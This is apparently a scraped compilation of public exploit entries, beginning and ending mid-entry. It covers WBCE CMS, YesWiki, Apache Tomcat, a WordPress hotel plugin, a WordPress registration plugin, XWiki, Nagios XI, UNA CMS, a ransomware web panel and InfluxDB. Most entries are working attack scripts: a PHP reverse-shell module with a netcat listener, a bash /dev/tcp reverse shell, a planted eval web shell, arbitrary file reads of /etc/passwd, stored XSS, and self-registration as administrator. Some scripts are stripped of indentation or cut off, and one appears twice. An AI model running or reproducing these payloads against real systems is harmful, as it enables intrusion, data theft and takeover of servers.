print("[] Request timed out. Target is slow or unresponsive.")
except requests.exceptions.RequestException as e:
print(f"[] Unexpected error: {e}")

# Main execution
if __name__ == "__main__":
display_banner()
target = input("[?] Enter the target URL (without http/https):
").strip()
exploit(target)
            
# Exploit Title: WBCE CMS <= v1.6.3 Authenticated Remote Code Execution (RCE)
# Date: 3/22/2025
# Exploit Author: Swammers8
# Vendor Homepage: https://wbce-cms.org/
# Software Link: https://github.com/WBCE/WBCE_CMS
# Version: 1.6.3 and prior
# Tested on: Ubuntu 24.04.2 LTS
# YouTube Demonstration: https://youtu.be/Dhg5gRe9Dzs?si=-WQoiWU1yqvYNz1e
# Github: https://github.com/Swammers8/WBCE-v1.6.3-Authenticated-RCE

#!/bin/bash

# Make a zip file exploit
# Start netcat listener

if [[ $# -ne 2 ]]; then
	echo "[*] Description:"
	echo "[*] This is an Authenticated RCE exploit for WBCE CMS version <= 1.6.3"
	echo "[*] It will create an infected module .zip file and start a netcat listener."
	echo "[*] Once the zip is created, you will have to login to the admin page"
	echo "[*] to upload and install the module, which will immediately run the shell"
	echo "[*] Shell taken from: https://github.com/pentestmonkey/php-reverse-shell/tree/master"
	echo "[!] Usage:"
	echo "[*] $0 <lhost> <lport>"
	exit 1
fi

if [ -z "$(which nc)" ]; then
	echo "[!] Netcat is not installed."
	exit 1 
fi

ip=$1
port=$2

rm -rf shellModule.zip
rm -rf shellModule
mkdir shellModule

echo [*] Crafting Payload

cat <<EOF > shellModule/info.php
<?php
/**
 *
 * @category        modules
 * @package         Reverse Shell
 * @author          Swammers8
 * @link                        https://swammers8.github.io/
 * @license         http://www.gnu.org/licenses/gpl.html
 * @platform        example.com
 * @requirements    PHP 5.6 and higher
 * @version         1.3.3.7
 * @lastmodified    May 22 2025
 *
 *
 */

\$module_directory               = 'modshell';
\$module_name                    = 'Reverse Shell';
\$module_function                = 'page';
\$module_version                 = '1.3.3.7';
\$module_platform                = '2.10.x';

\$module_author                  = 'Swammers8';
\$module_license                 = 'GNU General Public License';
\$module_description     = 'This module is a backdoor';

?>
EOF

cat <<EOF > shellModule/install.php
<?php
set_time_limit (0);
\$VERSION = "1.0";
\$ip = '$ip';  // CHANGE THIS
\$port = $port;       // CHANGE THIS
\$chunk_size = 1400;
\$write_a = null;
\$error_a = null;
\$shell = 'uname -a; w; id; /bin/sh -i';
\$daemon = 0;
\$debug = 0;

if (function_exists('pcntl_fork')) {
	\$pid = pcntl_fork();
	if (\$pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if (\$pid) {
		exit(0);  // Parent exits
	}

	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	\$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);


\$sock = fsockopen(\$ip, \$port, \$errno, \$errstr, 30);
if (!\$sock) {
	printit("\$errstr (\$errno)");
	exit(1);
}

\$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

\$process = proc_open(\$shell, \$descriptorspec, \$pipes);

if (!is_resource(\$process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking(\$pipes[0], 0);
stream_set_blocking(\$pipes[1], 0);
stream_set_blocking(\$pipes[2], 0);
stream_set_blocking(\$sock, 0);

printit("Successfully opened reverse shell to \$ip:\$port");

while (1) {
	if (feof(\$sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof(\$pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	\$read_a = array(\$sock, \$pipes[1], \$pipes[2]);
	\$num_changed_sockets = stream_select(\$read_a, \$write_a, \$error_a, null);

	if (in_array(\$sock, \$read_a)) {
		if (\$debug) printit("SOCK READ");
		\$input = fread(\$sock, \$chunk_size);
		if (\$debug) printit("SOCK: \$input");
		fwrite(\$pipes[0], \$input);
	}

	if (in_array(\$pipes[1], \$read_a)) {
		if (\$debug) printit("STDOUT READ");
		\$input = fread(\$pipes[1], \$chunk_size);
		if (\$debug) printit("STDOUT: \$input");
		fwrite(\$sock, \$input);
	}

	if (in_array(\$pipes[2], \$read_a)) {
		if (\$debug) printit("STDERR READ");
		\$input = fread(\$pipes[2], \$chunk_size);
		if (\$debug) printit("STDERR: \$input");
		fwrite(\$sock, \$input);
	}
}

fclose(\$sock);
fclose(\$pipes[0]);
fclose(\$pipes[1]);
fclose(\$pipes[2]);
proc_close(\$process);

function printit (\$string) {
	if (!\$daemon) {
		print "\$string\n";
	}
}

?> 
EOF

echo [*] Zipping to shellModule.zip
zip -r shellModule.zip shellModule
rm -rf shellModule
echo [*] Please login to the WBCE admin panel to upload and install the module
echo [*] Starting listener

nc -lvnp $port

echo
echo
echo "[*] Done!"
echo "[*] Make sure to uninstall the module named 'Reverse Shell' in the module page"
            
# Exploit Title: YesWiki < 4.5.2 - Unauthenticated Path Traversal
# Exploit Author: Al Baradi Joy
# Exploit Date: April 6, 2025
# CVE ID: CVE-2025-31131
# Vendor Homepage: https://yeswiki.net/
# Software Link: https://github.com/YesWiki/yeswiki
# Affected Version: < 4.5.2
# Tested On: YesWiki 4.5.1 on Ubuntu 22.04
# Vulnerability Type: Unauthenticated Path Traversal (LFI)
# CVSS Score: 8.6 (High)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
# Description:
#   YesWiki before version 4.5.2 is vulnerable to unauthenticated path
traversal via the 'squelette' parameter.
#   A remote attacker can exploit this issue to read arbitrary files on the
server, such as /etc/passwd.

import requests
import sys

def banner():
    print("=" * 80)
    print(" YesWiki < 4.5.2 - Unauthenticated Path Traversal
(CVE-2025-31131)")
    print(" Exploit Author: Al Baradi Joy")
    print("=" * 80)

def exploit(target, filename="/etc/passwd"):
    if not target.startswith("http"):
        target = "http://" + target

    traversal = "../" * 8
    encoded_file = filename.replace("/", "%2f")
    payload =
f"/?UrkCEO/edit&theme=margot&squelette={traversal}{encoded_file}&style=margot.css"
    url = target.rstrip("/") + payload

    try:
        print(f"[+] Target: {target}")
        print(f"[+] Attempting to read: {filename}")
        response = requests.get(url, timeout=10)

        if response.status_code == 200 and "root:" in response.text:
            print("[+] Exploit successful. File contents:\n")
            print(response.text)
        else:
            print("[!] Exploit failed or file not readable.")
            print(f"Status Code: {response.status_code}")
            if len(response.text) < 200:
                print(f"Response:\n{response.text}")
    except requests.exceptions.RequestException as e:
        print(f"[!] Request failed: {e}")

if __name__ == "__main__":
    banner()
    if len(sys.argv) < 2:
        print(f"Usage: python3 {sys.argv[0]} <target_url> [file_to_read]")
        print(f"Example: python3 {sys.argv[0]} http://victim.com
/etc/passwd")
        sys.exit(1)

    target_url = sys.argv[1]
    file_to_read = sys.argv[2] if len(sys.argv) > 2 else "/etc/passwd"
    exploit(target_url, file_to_read)
            
# Exploit Title: Apache Tomcat Path Equivalence - Remote Code Execution
# Exploit Author: Al Baradi Joy
# CVE: CVE-2025-24813
# Date: 2025-04-06
# Vendor Homepage: https://tomcat.apache.org/
# Software Link: https://tomcat.apache.org/download-90.cgi
# Version: Apache Tomcat < 11.0.3 / 10.1.35 / 9.0.98
# Tested on: Apache Tomcat 10.1.33
# CVSS: 9.8 (CRITICAL)
# CWE: CWE-44, CWE-502
# Reference:
https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html

import requests
import random
import string
import sys

def rand_filename(length=6):
    return ''.join(random.choices(string.ascii_lowercase, k=length))

def generate_payload(interact_url):
    # Java serialized payload gadget triggering DNS interaction
    return f'\xac\xed\x00\x05...'  # Replace with actual gadget bytes or
generator

def exploit(target, interact_url):
    filename = rand_filename()
    put_url = f"{target}/{filename}.session"
    get_url = f"{target}/{filename}"
    headers = {
        "Content-Range": "bytes 0-452/457",
        "Content-Type": "application/octet-stream"
    }
    payload = generate_payload(interact_url)

    print("[+] Exploit for CVE-2025-24813")
    print("[+] Made By Al Baradi Joy\n")
    print(f"[+] Uploading payload to: {put_url}")
    r1 = requests.put(put_url, data=payload, headers=headers)
    if r1.status_code == 201:
        print("[+] Payload uploaded successfully.")
    else:
        print(f"[-] Upload failed with status: {r1.status_code}")
        return

    print(f"[+] Triggering payload via: {get_url}")
    cookies = {"JSESSIONID": f".{filename}"}
    r2 = requests.get(get_url, cookies=cookies)
    print(f"[+] Trigger request sent. Check for DNS callback to:
{interact_url}")

if __name__ == "__main__":
    # Display banner first
    print("[+] Exploit for CVE-2025-24813")
    print("[+] Made By Al Baradi Joy\n")

    # Ask the user for the target domain and interact URL
    target_url = input("Enter the target domain (e.g., http://localhost:8080):
")
    interact_url = input("Enter your interactsh URL: ")

    exploit(target_url, interact_url)
            
# Exploit Title: Reservit Hotel < 3.0 - Admin+ Stored XSS
# Date: 2024-10-01
# Exploit Author: Ilteris Kaan Pehlivan
# Vendor Homepage: https://wpscan.com/plugin/reservit-hotel/
# Version: Reservit Hotel 2.1
# Tested on: Windows, WordPress, Reservit Hotel < 3.0
# CVE : CVE-2024-9458

The plugin does not sanitise and escape some of its settings, which could
allow high privilege users such as admin to perform Stored Cross-Site
Scripting attacks even when the unfiltered_html capability is disallowed
(for example in multisite setup).

1. Install and activate Reservit Hotel plugin.
2. Go to Reservit hotel > Content
3. Add the following payload to the Button text > French field sane save: "
style=animation-name:rotation onanimationstart=alert(/XSS/)//
4. The XSS will trigger upon saving and when any user will access the
content dashboard again

References:
https://wpscan.com/vulnerability/1157d6ae-af8b-4508-97e9-b9e86f612550/
https://www.cve.org/CVERecord?id=CVE-2024-9458
            
# Exploit Title: WordPress User Registration & Membership Plugin <= 4.1.1 - Unauthenticated Privilege Escalation
# Exploit Author: Al Baradi Joy
# Date: 2025-04-07
# Vendor Homepage: https://wordpress.org/plugins/user-registration/
# Software Link:
https://downloads.wordpress.org/plugin/user-registration.4.1.1.zip
# Version: <= 4.1.1
# Tested on: WordPress 6.4.3
# CVSS: 9.8 (CRITICAL)
# CWE: CWE-269
# References:
# https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-411-unauthenticated-privilege-escalation
# https://patchstack.com/database/wordpress/plugin/user-registration/vulnerability/wordpress-user-registration-membership-plugin-4-1-2-unauthenticated-privilege-escalation-vulnerability
# https://nvd.nist.gov/vuln/detail/CVE-2025-2563

import re
import json
import requests
import random
import string
from urllib.parse import urljoin

def banner():
print("\n[+] CVE-2025-2563 - WP User Registration Privilege Escalation")
print("[+] Made By Al Baradi Joy\n")

def randstring(n=8):
return ''.join(random.choices(string.ascii_lowercase, k=n))

def get_regex(content, pattern, group=1, name=""):
match = re.search(pattern, content)
if not match:
raise ValueError(f"[-] Could not extract {name} (Pattern:
{pattern})")
return match.group(group)

def exploit(target):
session = requests.Session()
username = randstring()
password = randstring() + "!@"
email = f"{username}@exploit.test"

try:
print("[+] Getting registration page...")
r = session.get(urljoin(target, "/membership-registration/"),
timeout=10)
r.raise_for_status()
page = r.text

nonce = get_regex(page,
r'"user_registration_form_data_save":"(.*?)"', name="nonce")
formid = get_regex(page, r"id='user-registration-form-([0-9]+)'",
name="formid")
memval = get_regex(page,
r'id="ur-membership-select-membership-([0-9]+)', name="membership value")
memname = get_regex(page,
r'data-field-id="membership_field_([0-9]+)"', name="membership field name")
front_nonce = get_regex(page, r'name="ur_frontend_form_nonce"
value="(.*?)"', name="frontend_nonce")
loc_nonce = get_regex(page, r'ur_membership_frontend_localized_data
= {"_nonce":"(.*?)"', name="localized_frontend_nonce")

print("[+] Submitting registration form...")
form_data = [
{"field_name": "user_login", "value": username, "field_type":
"text", "label": "Username"},
{"field_name": "user_email", "value": email, "field_type":
"email", "label": "User Email"},
{"field_name": "user_pass", "value": password, "field_type":
"password", "label": "User Password"},
{"field_name": "user_confirm_password", "value": password,
"field_type": "password", "label": "Confirm Password"},
{"value": memval, "field_type": "radio", "label": "membership",
"field_name": f"membership_field_{memname}"}
]

payload = {
"action": "user_registration_user_form_submit",
"security": nonce,
"form_data": json.dumps(form_data),
"form_id": formid,
"registration_language": "en-US",
"ur_frontend_form_nonce": front_nonce,
"is_membership_active": memval,
"membership_type": memval
}

r2 = session.post(urljoin(target, "/wp-admin/admin-ajax.php"),
data=payload, timeout=10)

if '"success":true' not in r2.text:
print("[-] Registration form failed.")
return

print("[+] Sending membership registration as administrator...")
member_payload = {
"action": "user_registration_membership_register_member",
"security": loc_nonce,
"members_data": json.dumps({
"membership": "1",
"payment_method": "free",
"start_date": "2025-3-29",
"username": username,
"role": "administrator"
})
}

r3 = session.post(urljoin(target, "/wp-admin/admin-ajax.php"),
data=member_payload, timeout=10)

if '"success":true' in r3.text:
print("[+] Exploit Successful!")
print(f"[+] Admin Username: {username}")
print(f"[+] Admin Password: {password}")
else:
print("[-] Membership escalation failed.")

except Exception as e:
print(f"[-] Exploit failed: {str(e)}")

if __name__ == "__main__":
banner()
target = input("Enter target WordPress site (e.g., http://example.com):
").strip().rstrip('/')
if not target.startswith("http"):
target = "http:
            
# Exploit Title: XWiki Platform - Remote Code Execution
# Exploit Author: Al Baradi Joy
# Exploit Date: April 6, 2025
# CVE ID: CVE-2025-24893
# Vendor Homepage: https://www.xwiki.org/
# Software Link: https://github.com/xwiki/xwiki-platform
# Version: Affected versions up to and including XWiki 15.10.10
# Tested Versions: XWiki 15.10.10
# Vulnerability Type: Remote Code Execution (RCE)
# CVSS Score: 9.8 (Critical)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Description:
# XWiki Platform suffers from a critical vulnerability where any guest user
can
# execute arbitrary code remotely through the SolrSearch endpoint. This can
lead
# to a full server compromise, including the ability to execute commands on
the
# underlying system. The vulnerability impacts the confidentiality,
integrity,
# and availability of the XWiki installation. The issue has been patched in
XWiki
# versions 15.10.11, 16.4.1, and 16.5.0RC1.
# Proof of Concept: Yes
# Categories: XWiki, Remote Code Execution, CVE-2025, RCE
# References:
# - GHSA Advisory: https://github.com/advisories/GHSA-rr6p-3pfg-562j
# - NVD CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
# - GitHub Exploit Link:
https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py

import requests

# Banner
def display_banner():
print("="*80)
print("Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code
Execution")
print("Exploit Author: Al Baradi Joy")
print("GitHub Exploit:
https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py")
print("="*80)

# Function to detect the target protocol (HTTP or HTTPS)
def detect_protocol(domain):
https_url = f"https://{domain}"
http_url = f"http://{domain}"

try:
response = requests.get(https_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[] Target supports HTTPS: {https_url}")
return https_url
except requests.exceptions.RequestException:
print("[!] HTTPS not available, falling back to HTTP.")

try:
response = requests.get(http_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[] Target supports HTTP: {http_url}")
return http_url
except requests.exceptions.RequestException:
print("[] Target is unreachable on both HTTP and HTTPS.")
exit(1)

# Exploit function
def exploit(target_url):
target_url = detect_protocol(target_url.replace("http://",
"").replace("https://", "").strip())
exploit_url =
f"{target_url}/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"

try:
print(f"[+] Sending request to: {exploit_url}")
response = requests.get(exploit_url, timeout=10)

# Check if the exploit was successful
if response.status_code == 200 and "root:" in response.text:
print("[] Exploit successful! Output received:")
print(response.text)
else:
print(f"[] Exploit failed. Status code:
{response.status_code}")

except requests.exceptions.ConnectionError:
print("[] Connection failed. Target may be down.")
except requests.exceptions.Timeout:
print("[] Request timed out. Target is slow or unresponsive.")
except requests.exceptions.RequestException as e:
print(f"[] Unexpected error: {e}")

# Main execution
if __name__ == "__main__":
display_banner()
target = input("[?] Enter the target URL (without http/https):
").strip()
exploit(target)
            
# Exploit Title: Nagiosxi authenticated Remote Code Execution
# Date: 17/02/2024
# Exploit Author: Calil Khalil
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
# Version: Nagios Xi 5.6.6
# Tested on: Ubuntu
# CVE : CVE-2019-15949

#
# python3 exp.py -t https://<target>/ -b /<nagiosxi-path>/ -u user -p 'password' -lh <rev-ip> -lp <rev-port> -k (ignore cert)
#

import argparse
import re
import requests
import urllib3

class Nagiosxi():
    def __init__(self, target, parameter, username, password, lhost, lport, ignore_ssl):
        self.url = target
        self.parameter = parameter
        self.username = username
        self.password = password
        self.lhost = lhost
        self.lport = lport
        self.ignore_ssl = ignore_ssl
        self.login()

    def upload(self, session):
        print("Uploading Malicious Check Ping Plugin")
        upload_url = self.url + self.parameter + "/admin/monitoringplugins.php"
        upload_token = session.get(upload_url, verify=not self.ignore_ssl)
        nsp = re.findall('var nsp_str = "(.*)";', upload_token.text)
        print("Upload NSP Token: " + nsp[0])
        payload = "bash -c 'bash -i >& /dev/tcp/" + self.lhost + "/" + self.lport + " 0>&1'"
        file_data = {
                "upload": "1",
                "nsp": nsp[0],
                "MAX_FILE_SIZE": "20000000"
                }
        file_upload = {
                "uploadedfile": ("check_ping", payload, "application/octet-stream", {"Content-Disposition": "form-data"})
                }
        session.post(upload_url, data=file_data, files=file_upload, verify=not self.ignore_ssl)
        payload_url = self.url + self.parameter + "/includes/components/profile/profile.php?cmd=download"
        session.get(payload_url, verify=not self.ignore_ssl)

    def login(self):
        session = requests.Session()
        login_url = self.url + self.parameter + "/login.php"
        token = session.get(login_url, verify=not self.ignore_ssl)
        nsp = re.findall('name="nsp" value="(.*)">', token.text)
        print("Login NSP Token: " + nsp[0])
        post_data = {
                "nsp": nsp[0],
                "page": "auth",
                "debug": "",
                "pageopt": "login",
                "redirect": "",
                "username": self.username,
                "password": self.password,
                "loginButton": ""
        }
        login = session.post(login_url, data=post_data, verify=not self.ignore_ssl)
        if "Home Dashboard" in login.text:
            print("Logged in!")
        else:
            print("Unable to login!")
        self.upload(session)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2019–15949 Nagiosxi authenticated Remote Code Execution')
    parser.add_argument('-t', metavar='<Target base URL>', help='Example: -t http://nagios.url/', required=True)
    parser.add_argument('-b', metavar='<Base Directory>', help="Example: -b /nagiosxi/", required=True)
    parser.add_argument('-u', metavar='<Username>', help="Example: -a username", required=True)
    parser.add_argument('-p', metavar='<Password>', help="Example: -p 'password'", required=True)
    parser.add_argument('-lh', metavar='<Listener IP>', help="Example: -lh 127.0.0.1", required=True)
    parser.add_argument('-lp', metavar='<Listener Port>', help="Example: -lp 1337", required=True)
    parser.add_argument('-k', action='store_true', help="Ignore SSL certificate verification")
    args = parser.parse_args()


    urllib3.disable_warnings()

    try:
        print('CVE-2019-15949 Nagiosxi authenticated Remote Code Execution')
        Nagiosxi(args.t, args.b, args.u, args.p, args.lh, args.lp, args.k)
    except KeyboardInterrupt:
        print("\nBye Bye!")
        exit()
            
# Exploit Title: UNA CMS <= 14.0.0-RC4 (BxBaseMenuSetAclLevel.php) PHP Object Injection Vulnerability
# Author: Egidio Romano aka EgiX
# Software link.......: https://unacms.com


[-] Software Links:
https://unacms.com
https://github.com/unacms/una

[-] Affected Versions:
All versions from 9.0.0-RC1 to 14.0.0-RC4.

[-] Vulnerability Description:
The vulnerability is located in the
/template/scripts/BxBaseMenuSetAclLevel.php script. Specifically,
within the BxBaseMenuSetAclLevel::getCode() method. When calling this
method, user input passed through the "profile_id" POST parameter is
not properly sanitized before being used in a call to the
unserialize() PHP function. This can be exploited by remote,
unauthenticated attackers to inject arbitrary PHP objects into the
application scope, allowing them to perform a variety of attacks, such
as writing and executing arbitrary PHP code.

<?php

/*
    ------------------------------------------------------------------------------------
    UNA CMS <= 14.0.0-RC4 (BxBaseMenuSetAclLevel.php) PHP Object Injection Vulnerability
    ------------------------------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://unacms.com
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability Description:
      
    The vulnerability is located in the /template/scripts/BxBaseMenuSetAclLevel.php script.
    Specifically, within the BxBaseMenuSetAclLevel::getCode() method. When calling this
    method, user input passed through the "profile_id" POST parameter is not properly
    sanitized before being used in a call to the unserialize() PHP function. This can be
    exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into
    the application scope, allowing them to perform a variety of attacks, such as
    writing and executing arbitrary PHP code.
    
    [-] Original Advisory:

    https://karmainsecurity.com/KIS-2025-01
*/

set_time_limit(0);
error_reporting(E_ERROR);

print "\n+------------------------------------------------------------+";
print "\n| UNA CMS <= 14.0.0-RC4 PHP Object Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if (!extension_loaded("curl")) die("\n[-] cURL extension required!\n\n");

if ($argc != 2)
{
	print "\nUsage......: php $argv[0] <URL>\n";
	print "\nExample....: php $argv[0] http://localhost/una/";
	print "\nExample....: php $argv[0] https://unacms.com/\n\n";
	die();
}

define('ON_APACHE', true);
define('SH_PATH', ON_APACHE ? './cache_public/sh.phtml' : './cache_public/sh.php');

class GuzzleHttp_Cookie_SetCookie
{
	private $data = ['Expires' => '', 'Value' => '<?php eval(base64_decode($_SERVER[\'HTTP_C\'])); ?>'];
}

class GuzzleHttp_Cookie_FileCookieJar
{
	private $cookies, $filename = SH_PATH, $storeSessionCookies = true;
	
	function __construct()
	{
		$this->cookies = [new GuzzleHttp_Cookie_SetCookie];
	}
}

$url = $argv[1];
$ch  = curl_init();

$chain = serialize(new GuzzleHttp_Cookie_FileCookieJar);
$chain = str_replace('GuzzleHttp_Cookie_SetCookie', 'GuzzleHttp\Cookie\SetCookie', $chain);
$chain = str_replace('GuzzleHttp_Cookie_FileCookieJar', 'GuzzleHttp\Cookie\FileCookieJar', $chain);

curl_setopt($ch, CURLOPT_URL, "{$url}menu.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["X-Requested-With: XMLHttpRequest"]);
curl_setopt($ch, CURLOPT_POSTFIELDS, "o=sys_set_acl_level&a=SetAclLevel&level_id=1&profile_id=" . urlencode($chain));

print "\n[+] Performing PHP Object Injection";

curl_exec($ch); curl_close($ch);

print "\n[+] Launching shell\n";

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url . SH_PATH);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

$phpcode = "print '____'; print shell_exec(base64_decode('%s')); print '____';";

while(1)
{
	print "\nuna-shell# ";
	if (($cmd = trim(fgets(STDIN))) == "exit") break;
	curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: " . base64_encode(sprintf($phpcode, base64_encode($cmd)))]);
	preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n\n");
}
            
# Exploit Title: Jasmin Ransomware - (Authenticated) Arbitrary File Download
# Google Dork: N/A
# Date: 22-03-2025
# Exploit Author: bRpsd cy[at]live.no
# Vendor Homepage: https://github.com/codesiddhant/Jasmin-Ransomware
# Software Link: https://github.com/codesiddhant/Jasmin-Ransomware
# Version: N/A
# Tested on: MacOS local xampp


Authentication can be easily bypassed due to SQL Injection as mentioned in:
https://www.exploit-db.com/exploits/52091



Vulnerable file:Web Panel/download_file.php
Vulnerable parameter:file
Vulnerable code:
<?php
session_start();
if(!isset($_SESSION['username']) ){
	header("Location: login.php");
}
$file=$_GET['file'];
if(!empty($file)){
    // Define headers
    header("Cache-Control: public");
    header("Content-Description: File Transfer");
    header("Content-Disposition: attachment; filename=$file");
    header("Content-Type: text/encoded");
    header("Content-Transfer-Encoding: binary");
    
    // Read the file
   readfile($file);
    exit;
}else{
    echo 'The file does not exist.';
}
?>


Proof of concept:

http://localhost/Jasmin-Ransomware/Web Panel/download_file.php?file=database/db_conection.php
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Cookie: PHPSESSID=88e519f73f9013f560ed3f0514015d8c
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

GET: HTTP/1.1 200 OK
Date: Sat, 22 Mar 2025 09:42:09 GMT
Server: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1
X-Powered-By: PHP/7.4.29
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
Pragma: no-cache
Content-Description: File Transfer
Content-Disposition: attachment; filename=database/db_conection.php
Content-Transfer-Encoding: binary
Content-Length: 95
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/encoded;charset=UTF-8
            
# Exploit Title: InfluxDB OSS Operator Privilege Escalation via BusinessLogic Flaw
# Date: 22/03/2024
# Exploit Author: Andrea Pasin (Xenom0rph97)
# Researcher Homepage: https://xenom0rph97.github.io/xeno/
# GitHub Exploit repo: https://github.com/XenoM0rph97/CVE-2024-30896
# Software Link: https://www.influxdata.com/products/influxdb/
# Version: 2.x <=> 2.7.11
# Tested on: InfluxDB OSS 2.x
# CVE: CVE-2024-30896
# CVSS Base Score: 9.1
# CVSS v3.1 Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

# CVE-2024-30896

## Summary
A business logic flaw in influxdb allows users who own a valid allAccess
token to escalate their privileges at operator level by listing current
authorization tokens.

## Scenario
Attacker might be a user which was gained access by an administrator via an
allAccess token only within their organization.
This user's permissions will allow full control over the organization but
will still prevent him to interact with other orgs.

## Impact
This vulnerability would allow a user to obtain unrestricted access to the
influxdb instance. A similar condition might fully compromise
Confidentiality, Integrity and Availability of data owned by users of
different organizations. Additionally, since operator token has
administrative permissions, Availability and Integrity of the entire
influxdb instance might be compromised.

## Prerequisites/Limitations
1. Attacker must have a valid allAccess token
2. allAccess token must have been created in the same Org where an operator
token resides (ex. same Org as Admin user)
3. Attacker must be able to interact with influxdb instance via CLI or APIs
(influxClient)

## Steps to Reproduce
### Case 1: Exploitation via influxdb APIs:
*Python Version*: 3
*Requirements*: `influxdb_client==1.41.0`
*Script usage*
```
% python3 ./CVE-2024-30896.py -h
usage: CVE-2024-30896.py [-h] [-t TOKEN] [-e ENDPOINTURL] [-v [VERBOSE]]
[-vv [VVERBOSE]]

optional arguments:
-h, --help show this help message and exit
-t TOKEN, --token TOKEN
Custom or allAccess token to access influx DB
instance
-e ENDPOINTURL, --endpointUrl ENDPOINTURL
Endpoint Url of influxdb instance (ex. "
https://myInfluxdbInstance:8086/")
-v [VERBOSE], --verbose [VERBOSE]
Enable verbose logging - INFO
-vv [VVERBOSE], --vverbose [VVERBOSE]
Enable verbose logging - DEBUG
```

### Case 2: Exploitation via influx CLI
1. Execute: `influx auth ls -t <allAccessToken> | grep write:/orgs`. This
will list all current active operator tokens on the influxdb instance.

*Example*
```
# Using an allAccess token
influx auth ls -t U1OuqmFC{REDACTED} | grep U1OuqmFC{REDACTED}

0cc41c3b050e5000 U1OuqmFC{REDACTED}
admin 0cb9c92ee228b000 [read:orgs/87d0746948a3b3f5/authorizations
write:orgs/87d0746948a3b3f5/authorizations
read:orgs/87d0746948a3b3f5/buckets write:orgs/87d0746948a3b3f5/buckets
read:orgs/87d0746948a3b3f5/dashboards
write:orgs/87d0746948a3b3f5/dashboards read:/orgs/87d0746948a3b3f5
read:orgs/87d0746948a3b3f5/sources write:orgs/87d0746948a3b3f5/sources
read:orgs/87d0746948a3b3f5/tasks write:orgs/87d0746948a3b3f5/tasks
read:orgs/87d0746948a3b3f5/telegrafs write:orgs/87d0746948a3b3f5/telegrafs
read:/users/0cb9c92ee228b000 write:/users/0cb9c92ee228b000
read:orgs/87d0746948a3b3f5/variables write:orgs/87d0746948a3b3f5/variables
read:orgs/87d0746948a3b3f5/scrapers write:orgs/87d0746948a3b3f5/scrapers
read:orgs/87d0746948a3b3f5/secrets write:orgs/87d0746948a3b3f5/secrets
read:orgs/87d0746948a3b3f5/labels write:orgs/87d0746948a3b3f5/labels
read:orgs/87d0746948a3b3f5/views write:orgs/87d0746948a3b3f5/views
read:orgs/87d0746948a3b3f5/documents write:orgs/87d0746948a3b3f5/documents
read:orgs/87d0746948a3b3f5/notificationRules
write:orgs/87d0746948a3b3f5/notificationRules
read:orgs/87d0746948a3b3f5/notificationEndpoints
write:orgs/87d0746948a3b3f5/notificationEndpoints
read:orgs/87d0746948a3b3f5/checks write:orgs/87d0746948a3b3f5/checks
read:orgs/87d0746948a3b3f5/dbrp write:orgs/87d0746948a3b3f5/dbrp
read:orgs/87d0746948a3b3f5/notebooks write:orgs/87d0746948a3b3f5/notebooks
read:orgs/87d0746948a3b3f5/annotations
write:orgs/87d0746948a3b3f5/annotations read:orgs/87d0746948a3b3f5/remotes
write:orgs/87d0746948a3b3f5/remotes read:orgs/87d0746948a3b3f5/replications
